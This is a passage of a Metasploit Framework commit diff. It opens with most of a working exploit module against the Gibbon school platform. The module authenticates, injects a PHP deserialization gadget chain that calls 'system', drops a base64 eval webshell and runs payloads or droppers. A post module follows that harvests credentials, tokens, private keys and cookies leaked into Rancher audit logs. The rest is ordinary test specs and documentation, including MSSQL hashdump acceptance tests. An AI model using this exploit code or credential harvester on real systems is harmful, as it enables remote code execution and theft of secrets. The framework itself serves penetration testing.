OptString.new('PASSWORD', [true, 'Password'])
])
end
def gibbon_login
# construct multipart login form data
form_data = Rex::MIME::Message.new
form_data.add_part('', nil, nil, 'form-data; name="address"')
form_data.add_part('default', nil, nil, 'form-data; name="method"')
form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')
form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')
form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')
form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
end
def construct_form_data(payload)
# construct multipart form data with payload
payload_len = payload.length
payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"
form_data = Rex::MIME::Message.new
form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')
form_data.add_part('sync', nil, nil, 'form-data; name="mode"')
form_data.add_part('N', nil, nil, 'form-data; name="syncField"')
form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')
form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')
form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')
form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')
form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')
form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')
form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')
form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')
form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')
return form_data
end
def upload_webshell(b64_payload)
# randomize file name if option WEBSHELL is not set
@webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")
# create webshell with base64 encoded PHP payload
# works for both windows and linux targets
php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"
form_data = construct_form_data(php_payload)
# upload webshell
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
end
def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
res = upload_webshell(payload)
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200
register_file_for_cleanup(@webshell_name)
# execute webshell
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, @webshell_name),
'keep_cookies' => true
})
end
def execute_command(cmd, _opts = {})
form_data = construct_form_data(cmd)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
end
def check
print_status("Checking if #{peer} can be exploited.")
res = send_request_cgi!({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200
# check if target is running the Gibbon online school platform
# search for the Gibbon version on the login page
return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')
# trying to get the version
version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)
version_number = version[0].split('v') unless version.nil?
if version_number
if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')
return CheckCode::Appears("Gibbon v#{version_number[1]}")
else
return CheckCode::Safe("Gibbon v#{version_number[1]}")
end
end
CheckCode::Detected
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
res = gibbon_login
fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd, :windows_cmd
execute_command(payload.encoded)
when :linux_dropper, :windows_dropper
# don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
end
end
end
@@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rancher Audit Log Sensitive Information Leak',
'Description' => %q{
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
Tested against rancher 2.6.0.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'References' => [
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
[ 'CVE', '2023-22649']
],
'DisclosureDate' => '2024-02-08',
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_advanced_options [
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
]
end
def run
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])
log = read_file(datastore['LOGFILE'])
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
print_good("Rancher log saved to: #{loot}")
usernames_found = []
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])
log.each_line do |line|
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
leaky_response_headers = ['X-Api-Set-Cookie-Header']
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']
json_line = JSON.parse(line)
if json_line.key? 'requestHeader'
leaky_request_headers.each do |leaky_field|
next unless json_line['requestHeader'].key? leaky_field
secret = json_line['requestHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} #{secret}")
table << [leaky_field, secret, 'requestHeader']
end
end
if json_line.key? 'responseHeader'
leaky_response_headers.each do |leaky_field|
next unless json_line['responseHeader'].key? leaky_field
secret = json_line['responseHeader'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field}: #{secret}")
table << [leaky_field, secret, 'responseHeader']
end
end
if json_line.key? 'requestBody'
leaky_request_body.each do |leaky_field|
next unless json_line['requestBody'].key? leaky_field
secret = json_line['requestBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'requestBody']
end
end
if json_line.key? 'responseBody'
leaky_request_body.each do |leaky_field|
next unless json_line['responseBody'].key? leaky_field
secret = json_line['responseBody'][leaky_field]
secret = secret.join(' ') if secret.is_a?(Array)
print_good("Found #{leaky_field} in #{secret}")
table << [leaky_field, secret, 'responseBody']
end
end
usernames = json_line.dig('user', 'extra', 'username')
next if usernames.nil?
usernames_found += usernames
end
usernames_found.uniq.each do |username|
table << ['Username', username, 'Requests']
end
print_line
print_line(table.to_s)
end
end
+1 -1
View File
@@ -197,7 +197,7 @@ module Msf
def nessus_verify_db
if !(framework.db && framework.db.active)
print_error('No database has been configured, please use db_create/db_connect first')
print_error('No database has been configured, please use db_connect first')
return false
end
true
+1 -1
View File
@@ -40,7 +40,7 @@ module Msf
def nexpose_verify_db
if !(framework.db && framework.db.usable && framework.db.active)
print_error('No database has been configured, please use db_create/db_connect first')
print_error('No database has been configured, please use db_connect first')
return false
end
+14
View File
@@ -61,6 +61,20 @@ Run the test suite:
MYSQL_RPORT=9000 SPEC_OPTS='--tag acceptance' SPEC_HELPER_LOAD_METASPLOIT=false bundle exec rspec ./spec/acceptance/mysql_spec.rb
```
### MSSQL
Run a target:
```
docker run -e "ACCEPT_EULA=Y" -e 'MSSQL_SA_PASSWORD=yourStrong(!)Password' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2019-latest
```
Run the test suite:
```
MSSQL_RPORT=1433 SPEC_OPTS='--tag acceptance' SPEC_HELPER_LOAD_METASPLOIT=false bundle exec rspec ./spec/acceptance/mssql_spec.rb
```
#### Allure reports
Generate allure reports locally:
+373
View File
@@ -0,0 +1,373 @@
require 'acceptance_spec_helper'
RSpec.describe 'MSSQL sessions and MSSQL modules' do
include_context 'wait_for_expect'
TESTS = {
mssql: {
target: {
session_module: "auxiliary/scanner/mssql/mssql_login",
type: 'MSSQL',
platforms: [:linux, :osx, :windows],
datastore: {
global: {},
module: {
username: ENV.fetch('MSSQL_USER', 'sa'),
password: ENV.fetch('MSSQL_PASSWORD', 'yourStrong(!)Password'),
rhost: ENV.fetch('MSSQL_RHOST', '127.0.0.1'),
rport: ENV.fetch('MSSQL_RPORT', '1433'),
database: 'master'
}
}
},
module_tests: [
{
name: "post/test/mssql",
platforms: [:linux, :osx, :windows],
targets: [:session],
skipped: false,
},
{
name: "auxiliary/scanner/mssql/mssql_hashdump",
platforms: [:linux, :osx, :windows],
targets: [:session, :rhost],
skipped: false,
lines: {
all: {
required: [
'Instance Name:'
]
},
}
},
{
name: "auxiliary/admin/mssql/mssql_enum",
platforms: [:linux, :osx, :windows],
targets: [:session, :rhost],
skipped: false,
lines: {
all: {
required: [
'Version:',
/Microsoft SQL Server \d+.\d+/,
'Databases on the server:',
'System Logins on this Server:'
]
},
}
},
{
name: "auxiliary/scanner/mssql/mssql_schemadump",
platforms: [:linux, :osx, :windows],
targets: [:session, :rhost],
skipped: false,
lines: {
all: {
required: [
'Instance Name:',
'Scanned 1 of 1 hosts (100% complete)'
]
},
}
},
{
name: "auxiliary/admin/mssql/mssql_sql",
platforms: [:linux, :osx, :windows],
targets: [:session, :rhost],
skipped: false,
lines: {
all: {
required: [
# Default module query
"Response",
# Result
"Microsoft SQL Server",
]
},
}
}
]
}
}
TEST_ENVIRONMENT = AllureRspec.configuration.environment_properties
let_it_be(:current_platform) { Acceptance::Meterpreter::current_platform }
# Driver instance, keeps track of all open processes/payloads/etc, so they can be closed cleanly
let_it_be(:driver) do
driver = Acceptance::ConsoleDriver.new
driver
end
# Opens a test console with the test loadpath specified
# @!attribute [r] console
# @return [Acceptance::Console]
let_it_be(:console) do
console = driver.open_console
# Load the test modules
console.sendline('loadpath test/modules')
console.recvuntil(/Loaded \d+ modules:[^\n]*\n/)
console.recvuntil(/\d+ auxiliary modules[^\n]*\n/)
console.recvuntil(/\d+ exploit modules[^\n]*\n/)
console.recvuntil(/\d+ post modules[^\n]*\n/)
console.recvuntil(Acceptance::Console.prompt)
# Read the remaining console
# console.sendline "quit -y"
# console.recv_available
features = %w[
mssql_session_type
]
features.each do |feature|
console.sendline("features set #{feature} true")
console.recvuntil(Acceptance::Console.prompt)
end
console
end
# Run the given block in a 'test harness' which will handle all of the boilerplate for asserting module results, cleanup, and artifact tracking
# This doesn't happen in a before/after block to ensure that allure's report generation is correctly attached to the correct test scope
def with_test_harness(module_test)
begin
replication_commands = []
known_failures = module_test.dig(:lines, :all, :known_failures) || []
known_failures += module_test.dig(:lines, current_platform, :known_failures) || []
known_failures = known_failures.flat_map { |value| Acceptance::LineValidation.new(*Array(value)).flatten }
required_lines = module_test.dig(:lines, :all, :required) || []
required_lines += module_test.dig(:lines, current_platform, :required) || []
required_lines = required_lines.flat_map { |value| Acceptance::LineValidation.new(*Array(value)).flatten }
yield replication_commands
# XXX: When debugging failed tests, you can enter into an interactive msfconsole prompt with:
# console.interact
# Expect the test module to complete
module_type = module_test[:name].split('/').first
test_result = console.recvuntil("#{module_type.capitalize} module execution completed")
# Ensure there are no failures, and assert tests are complete
aggregate_failures("#{target.type} target and passes the #{module_test[:name].inspect} tests") do
# Skip any ignored lines from the validation input
validated_lines = test_result.lines.reject do |line|
is_acceptable = known_failures.any? do |acceptable_failure|
is_matching_line = is_matching_line.value.is_a?(Regexp) ? line.match?(acceptable_failure.value) : line.include?(acceptable_failure.value)
is_matching_line &&
acceptable_failure.if?(test_environment)
end || line.match?(/Passed: \d+; Failed: \d+/)
is_acceptable
end
validated_lines.each do |test_line|
test_line = Acceptance::Meterpreter.uncolorize(test_line)
expect(test_line).to_not include('FAILED', '[-] FAILED', '[-] Exception', '[-] '), "Unexpected error: #{test_line}"
end
# Assert all expected lines are present
required_lines.each do |required|
next unless required.if?(test_environment)
if required.value.is_a?(Regexp)
expect(test_result).to match(required.value)
else
expect(test_result).to include(required.value)
end
end
# Assert all ignored lines are present, if they are not present - they should be removed from
# the calling config
known_failures.each do |acceptable_failure|
next if acceptable_failure.flaky?(test_environment)
next unless acceptable_failure.if?(test_environment)
expect(test_result).to include(acceptable_failure.value)
end
end
rescue RSpec::Expectations::ExpectationNotMetError, StandardError => e
test_run_error = e
end
# Test cleanup. We intentionally omit cleanup from an `after(:each)` to ensure the allure attachments are
# still generated if the session dies in a weird way etc
console_reset_error = nil
current_console_data = console.all_data
begin
console.reset
rescue => e
console_reset_error = e
Allure.add_attachment(
name: 'console.reset failure information',
source: "Error: #{e.class} - #{e.message}\n#{(e.backtrace || []).join("\n")}",
type: Allure::ContentType::TXT
)
end
target_configuration_details = target.as_readable_text(
default_global_datastore: default_global_datastore,
default_module_datastore: default_module_datastore
)
replication_steps = <<~EOF
## Load test modules
loadpath test/modules
#{target_configuration_details}
## Replication commands
#{replication_commands.empty? ? '# no additional commands run' : replication_commands.join("\n")}
EOF
Allure.add_attachment(
name: 'payload configuration and replication',
source: replication_steps,
type: Allure::ContentType::TXT
)
Allure.add_attachment(
name: 'console data',
source: current_console_data,
type: Allure::ContentType::TXT
)
test_assertions = JSON.pretty_generate(
{
required_lines: required_lines.map(&:to_h),
known_failures: known_failures.map(&:to_h),
}
)
Allure.add_attachment(
name: 'test assertions',
source: test_assertions,
type: Allure::ContentType::TXT
)
raise test_run_error if test_run_error
raise console_reset_error if console_reset_error
end
TESTS.each do |runtime_name, test_config|
runtime_name = "#{runtime_name}#{ENV.fetch('RUNTIME_VERSION', '')}"
describe "#{Acceptance::Meterpreter.current_platform}/#{runtime_name}", focus: test_config[:focus] do
test_config[:module_tests].each do |module_test|
describe(
module_test[:name],
if: (
Acceptance::Meterpreter.supported_platform?(module_test)
)
) do
let(:target) { Acceptance::Target.new(test_config[:target]) }
let(:default_global_datastore) do
{
}
end
let(:test_environment) { TEST_ENVIRONMENT }
let(:default_module_datastore) do
{
lhost: '127.0.0.1'
}
end
# The shared session id that will be reused across the test run
let(:session_id) do
console.sendline "use #{target.session_module}"
console.recvuntil(Acceptance::Console.prompt)
# Set global options
console.sendline target.setg_commands(default_global_datastore: default_global_datastore)
console.recvuntil(Acceptance::Console.prompt)
console.sendline target.run_command(default_module_datastore: { PASS_FILE: nil, USER_FILE: nil, CreateSession: true })
session_id = nil
# Wait for the session to open, or break early if the payload is detected as dead
wait_for_expect do
session_opened_matcher = /#{target.type} session (\d+) opened[^\n]*\n/
session_message = ''
begin
session_message = console.recvuntil(session_opened_matcher, timeout: 1)
rescue Acceptance::ChildProcessRecvError
# noop
end
session_id = session_message[session_opened_matcher, 1]
expect(session_id).to_not be_nil
end
session_id
end
before :each do |example|
next unless example.respond_to?(:parameter)
# Add the test environment metadata to the rspec example instance - so it appears in the final allure report UI
test_environment.each do |key, value|
example.parameter(key, value)
end
end
after :all do
driver.close_payloads
console.reset
end
context "when targeting a session", if: module_test[:targets].include?(:session) do
it(
"#{Acceptance::Meterpreter.current_platform}/#{runtime_name} session opens and passes the #{module_test[:name].inspect} tests"
) do
with_test_harness(module_test) do |replication_commands|
# Ensure we have a valid session id; We intentionally omit this from a `before(:each)` to ensure the allure attachments are generated if the session dies
expect(session_id).to_not(be_nil, proc do
"There should be a session present"
end)
use_module = "use #{module_test[:name]}"
run_module = "run session=#{session_id} Verbose=true"
replication_commands << use_module
console.sendline(use_module)
console.recvuntil(Acceptance::Console.prompt)
replication_commands << run_module
console.sendline(run_module)
# Assertions will happen after this block ends
end
end
end
context "when targeting an rhost", if: module_test[:targets].include?(:rhost) do
it(
"#{Acceptance::Meterpreter.current_platform}/#{runtime_name} rhost opens and passes the #{module_test[:name].inspect} tests"
) do
with_test_harness(module_test) do |replication_commands|
use_module = "use #{module_test[:name]}"
run_module = "run #{target.datastore_options(default_module_datastore: default_module_datastore)} Verbose=true"
replication_commands << use_module
console.sendline(use_module)
console.recvuntil(Acceptance::Console.prompt)
replication_commands << run_module
console.sendline(run_module)
# Assertions will happen after this block ends
end
end
end
end
end
end
end
end
+5 -122
View File
@@ -4,7 +4,6 @@ require 'spec_helper'
require 'rex/post/mssql'
RSpec.describe Msf::Sessions::MSSQL do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(Rex::Proto::MSSQL::Client) }
let(:opts) { { client: client } }
let(:console_class) { Rex::Post::MSSQL::Ui::Console }
@@ -16,7 +15,7 @@ RSpec.describe Msf::Sessions::MSSQL do
let(:description) { 'MSSQL' }
let(:can_cleanup_files) { false }
let(:address) { '192.0.2.1' }
let(:port) { '1433' }
let(:port) { 1433 }
let(:peer_info) { "#{address}:#{port}" }
let(:console) do
console = Rex::Post::MSSQL::Ui::Console.new(session)
@@ -28,127 +27,11 @@ RSpec.describe Msf::Sessions::MSSQL do
before(:each) do
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
allow(user_input).to receive(:output=)
allow(client).to receive(:sock).and_return(rstream)
allow(client).to receive(:initial_info_for_envchange).with({ envchange: 1 }).and_return(envchange_result)
allow(rstream).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:peerport).and_return(port)
allow(client).to receive(:peerhost).and_return(address)
end
subject(:session) do
mssql_session = described_class.new(rstream, opts)
mssql_session.user_input = user_input
mssql_session.user_output = user_output
mssql_session.name = name
mssql_session
end
describe '.type' do
it 'should have the correct type' do
expect(described_class.type).to eq(type)
end
end
describe '.can_cleanup_files' do
it 'should be able to cleanup files' do
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
end
end
describe '#desc' do
it 'should have the correct description' do
expect(subject.desc).to eq(description)
end
end
describe '#type' do
it 'should have the correct type' do
expect(subject.type).to eq(type)
end
end
describe '#initialize' do
context 'without a client' do
let(:opts) { {} }
it 'raises a KeyError' do
expect { subject }.to raise_exception(KeyError)
end
end
context 'with a client' do
it 'does not raise an exception' do
expect { subject }.not_to raise_exception
end
end
it 'creates a new console' do
expect(subject.console).to be_a(console_class)
end
end
describe '#bootstrap' do
subject { session.bootstrap }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'sets the console input' do
expect { subject }.to change(session.console, :input).to(user_input)
end
it 'sets the console output' do
expect { subject }.to change(session.console, :output).to(user_output)
end
it 'sets the log source' do
expect { subject }.to change(session.console, :log_source).to(log_source)
end
end
describe '#reset_ui' do
before(:each) do
session.bootstrap
end
subject { session.reset_ui }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'resets the console input' do
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
end
it 'resets the console output' do
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
end
end
describe '#exit' do
subject { session.exit }
it 'exits the session' do
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
end
end
describe '#address' do
subject { session.address }
it { is_expected.to eq(address) }
end
describe '#port' do
subject { session.port }
it { is_expected.to eq(port) }
end
it_behaves_like 'client session'
end
+6 -123
View File
@@ -4,9 +4,8 @@ require 'spec_helper'
require 'rex/proto/mysql/client'
RSpec.describe Msf::Sessions::MySQL do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(::Rex::Proto::MySQL::Client) }
let(:opts) { { client: client } }
let(:opts) { { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 } }
let(:console_class) { Rex::Post::MySQL::Ui::Console }
let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) }
let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) }
@@ -16,135 +15,19 @@ RSpec.describe Msf::Sessions::MySQL do
let(:description) { 'MySQL' }
let(:can_cleanup_files) { false }
let(:address) { '192.0.2.1' }
let(:port) { '3306' }
let(:port) { 3306 }
let(:peerinfo) { "#{address}:#{port}" }
let(:current_database) { 'database_name' }
before(:each) do
allow(user_input).to receive(:output=)
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
allow(rstream).to receive(:peerinfo).and_return(peerinfo)
allow(client).to receive(:socket).and_return(rstream)
allow(client).to receive(:peerinfo).and_return(peerinfo)
allow(client).to receive(:peerport).and_return(port)
allow(client).to receive(:peerhost).and_return(address)
allow(client).to receive(:current_database).and_return(current_database)
allow(::Rex::Proto::MySQL::Client).to receive(:connect).and_return(client)
end
subject(:session) do
mysql_session = described_class.new(rstream, opts)
mysql_session.user_input = user_input
mysql_session.user_output = user_output
mysql_session.name = name
mysql_session
end
describe '.type' do
it 'should have the correct type' do
expect(described_class.type).to eq(type)
end
end
describe '.can_cleanup_files' do
it 'should be able to cleanup files' do
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
end
end
describe '#desc' do
it 'should have the correct description' do
expect(subject.desc).to eq(description)
end
end
describe '#type' do
it 'should have the correct type' do
expect(subject.type).to eq(type)
end
end
describe '#initialize' do
context 'without a client' do
let(:opts) { {} }
it 'raises a KeyError' do
expect { subject }.to raise_exception(KeyError)
end
end
context 'with a client' do
it 'does not raise an exception' do
expect { subject }.not_to raise_exception
end
end
it 'creates a new console' do
expect(subject.console).to be_a(console_class)
end
end
describe '#bootstrap' do
subject { session.bootstrap }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'sets the console input' do
expect { subject }.to change(session.console, :input).to(user_input)
end
it 'sets the console output' do
expect { subject }.to change(session.console, :output).to(user_output)
end
it 'sets the log source' do
expect { subject }.to change(session.console, :log_source).to(log_source)
end
end
describe '#reset_ui' do
before(:each) do
session.bootstrap
end
subject { session.reset_ui }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'resets the console input' do
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
end
it 'resets the console output' do
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
end
end
describe '#exit' do
subject { session.exit }
it 'exits the session' do
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
end
end
describe '#address' do
subject { session.address }
it { is_expected.to eq(address) }
end
describe '#port' do
subject { session.port }
it { is_expected.to eq(port) }
end
it_behaves_like 'client session'
end
+5 -122
View File
@@ -4,7 +4,6 @@ require 'spec_helper'
require 'postgres/postgres-pr/connection'
RSpec.describe Msf::Sessions::PostgreSQL do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(Msf::Db::PostgresPR::Connection) }
let(:opts) { { client: client } }
let(:console_class) { Rex::Post::PostgreSQL::Ui::Console }
@@ -16,135 +15,19 @@ RSpec.describe Msf::Sessions::PostgreSQL do
let(:description) { 'PostgreSQL' }
let(:can_cleanup_files) { false }
let(:address) { '192.0.2.1' }
let(:port) { '5432' }
let(:port) { 5432 }
let(:peer_info) { "#{address}:#{port}" }
let(:current_database) { 'template1' }
before(:each) do
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
allow(user_input).to receive(:output=)
allow(rstream).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:conn).and_return(rstream)
allow(client).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:peerhost).and_return(address)
allow(client).to receive(:peerport).and_return(port)
allow(client).to receive(:params).and_return({ 'database' => current_database })
allow(client).to receive(:current_database).and_return(current_database)
end
subject(:session) do
postgresql_session = described_class.new(rstream, opts)
postgresql_session.user_input = user_input
postgresql_session.user_output = user_output
postgresql_session.name = name
postgresql_session
end
describe '.type' do
it 'should have the correct type' do
expect(described_class.type).to eq(type)
end
end
describe '.can_cleanup_files' do
it 'should be able to cleanup files' do
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
end
end
describe '#desc' do
it 'should have the correct description' do
expect(subject.desc).to eq(description)
end
end
describe '#type' do
it 'should have the correct type' do
expect(subject.type).to eq(type)
end
end
describe '#initialize' do
context 'without a client' do
let(:opts) { {} }
it 'raises a KeyError' do
expect { subject }.to raise_exception(KeyError)
end
end
context 'with a client' do
it 'does not raise an exception' do
expect { subject }.not_to raise_exception
end
end
it 'creates a new console' do
expect(subject.console).to be_a(console_class)
end
end
describe '#bootstrap' do
subject { session.bootstrap }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'sets the console input' do
expect { subject }.to change(session.console, :input).to(user_input)
end
it 'sets the console output' do
expect { subject }.to change(session.console, :output).to(user_output)
end
it 'sets the log source' do
expect { subject }.to change(session.console, :log_source).to(log_source)
end
end
describe '#reset_ui' do
before(:each) do
session.bootstrap
end
subject { session.reset_ui }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'resets the console input' do
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
end
it 'resets the console output' do
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
end
end
describe '#exit' do
subject { session.exit }
it 'exits the session' do
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
end
end
describe '#address' do
subject { session.address }
it { is_expected.to eq(address) }
end
describe '#port' do
subject { session.port }
it { is_expected.to eq(port) }
end
it_behaves_like 'client session'
end
+2 -119
View File
@@ -16,7 +16,7 @@ RSpec.describe Msf::Sessions::SMB do
let(:description) { 'SMB' }
let(:can_cleanup_files) { false }
let(:address) { '192.0.2.1' }
let(:port) { '1337' }
let(:port) { 1337 }
let(:peer_info) { "#{address}:#{port}" }
before(:each) do
@@ -27,122 +27,5 @@ RSpec.describe Msf::Sessions::SMB do
allow(dispatcher).to receive(:tcp_socket).and_return(rstream)
end
subject(:session) do
smb_session = described_class.new(rstream, opts)
smb_session.user_input = user_input
smb_session.user_output = user_output
smb_session.name = name
smb_session
end
describe '.type' do
it 'should have the correct type' do
expect(described_class.type).to eq(type)
end
end
describe '.can_cleanup_files' do
it 'should be able to cleanup files' do
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
end
end
describe '#desc' do
it 'should have the correct description' do
expect(subject.desc).to eq(description)
end
end
describe '#type' do
it 'should have the correct type' do
expect(subject.type).to eq(type)
end
end
describe '#initialize' do
context 'without a client' do
let(:opts) { {} }
it 'raises a KeyError' do
expect { subject }.to raise_exception(KeyError)
end
end
context 'with a client' do
it 'does not raise an exception' do
expect { subject }.not_to raise_exception
end
end
it 'creates a new console' do
expect(subject.console).to be_a(console_class)
end
end
describe '#bootstrap' do
subject { session.bootstrap }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'sets the console input' do
expect { subject }.to change(session.console, :input).to(user_input)
end
it 'sets the console output' do
expect { subject }.to change(session.console, :output).to(user_output)
end
it 'sets the log source' do
expect { subject }.to change(session.console, :log_source).to(log_source)
end
end
describe '#reset_ui' do
before(:each) do
session.bootstrap
end
subject { session.reset_ui }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'resets the console input' do
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
end
it 'resets the console output' do
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
end
end
describe '#exit' do
subject { session.exit }
it 'exits the session' do
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
end
end
describe '#address' do
subject { session.address }
it { is_expected.to eq(address) }
end
describe '#port' do
subject { session.port }
it { is_expected.to eq(port) }
end
it_behaves_like 'client session'
end
+5 -5
View File
